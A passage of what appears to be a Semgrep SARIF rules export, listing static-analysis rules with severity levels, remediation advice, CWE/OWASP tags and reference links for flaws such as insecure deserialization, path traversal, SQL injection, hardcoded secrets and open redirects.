Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.generic-sql-flask.generic-sql-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","id":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","name":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key vault should have purge protection enabled"},"help":{"markdown":"Key vault should have purge protection enabled\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection](https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection)\n","text":"Key vault should have purge protection enabled"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","id":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","name":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly","id":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","name":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"help":{"markdown":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation","id":"java.jboss.security.session_sqli.find-sql-string-concatenation","name":"java.jboss.security.session_sqli.find-sql-string-concatenation","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"help":{"markdown":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","id":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","name":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","id":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","name":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"help":{"markdown":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","id":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","name":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","id":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","name":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","id":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","name":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key","id":"go.jwt-go.security.jwt.hardcoded-jwt-key","name":"go.jwt-go.security.jwt.hardcoded-jwt-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt.hardcoded-jwt-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","id":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","name":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"help":{"markdown":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"helpUri":"https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","id":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","name":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","id":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","name":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","id":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","name":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"help":{"markdown":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect)\n - [https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/](https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/)\n - 